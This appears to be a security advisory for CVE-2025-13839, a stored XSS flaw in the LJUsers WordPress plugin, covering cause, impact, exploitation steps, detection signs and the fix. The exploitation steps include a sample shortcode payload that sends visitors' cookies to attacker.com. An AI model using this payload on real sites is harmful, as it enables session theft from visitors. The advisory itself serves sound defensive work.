CVE-2025-13839: 
WordPress vulnerability analysis and mitigation

CVE-2025-13839 is a Stored Cross-Site Scripting (XSS) vulnerability in the LJUsers plugin for WordPress, affecting all versions up to and including 1.2.0. The flaw exists in the name parameter of the ljuser shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was disclosed on December 12, 2025, by Wordfence, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The root cause is the failure to sanitize or escape the name attribute passed to the ljuser shortcode before rendering it in page output, as evidenced by the vulnerable code at ljusers.php#L194. An authenticated attacker with at least Contributor-level access can embed a malicious JavaScript payload within the shortcode attribute in a post or page; the script executes in the browser of any visitor who loads the affected page (Wordfence, WordPress Trac).

Successful exploitation allows an authenticated contributor to persistently inject arbitrary JavaScript into WordPress pages, which executes in the context of any visitor's browser. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, or defacement of site content. While availability is not directly impacted, the confidentiality and integrity of visitor sessions and page content are at risk (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029%, indicating a low probability of exploitation in the near term. The vulnerability requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Gain Contributor Access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site running LJUsers ≤ 1.2.0.
2. Create or Edit a Post: Navigate to the WordPress editor and create or edit a post or page where the ljuser shortcode can be inserted.
3. Inject Malicious Payload: Insert a shortcode with a crafted name parameter containing a JavaScript payload, e.g., [ljuser name="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Page: Submit or update the post so the injected shortcode is stored in the database.
5. Trigger Execution: When any site visitor (including administrators) loads the affected page, the unsanitized name value is rendered directly into the HTML, causing the injected script to execute in their browser — enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API containing ljuser shortcode with <script> tags or encoded JavaScript in the name parameter.
• Database: WordPress wp_posts table entries containing [ljuser name= shortcodes with embedded script tags or JavaScript event handlers (e.g., onerror, onload).
• Network: Outbound requests from visitor browsers to unknown external domains shortly after loading pages containing the ljuser shortcode, potentially carrying cookie or session data in query parameters.
• File System: No direct file system artifacts expected, as the payload is stored in the database rather than the file system.

Users should update the LJUsers plugin to version 1.2.1 or later, which addresses the insufficient sanitization of the name parameter in the ljuser shortcode. As a temporary workaround, site administrators can restrict Contributor-level user permissions or disable the LJUsers plugin until the update is applied. Reviewing existing posts for suspicious ljuser shortcode usage is also recommended (Wordfence).

Wordfence included CVE-2025-13839 in their weekly WordPress vulnerability report for December 8–14, 2025, as part of routine plugin vulnerability tracking. No significant independent researcher commentary or broader media coverage has been identified for this vulnerability (Wordfence Blog).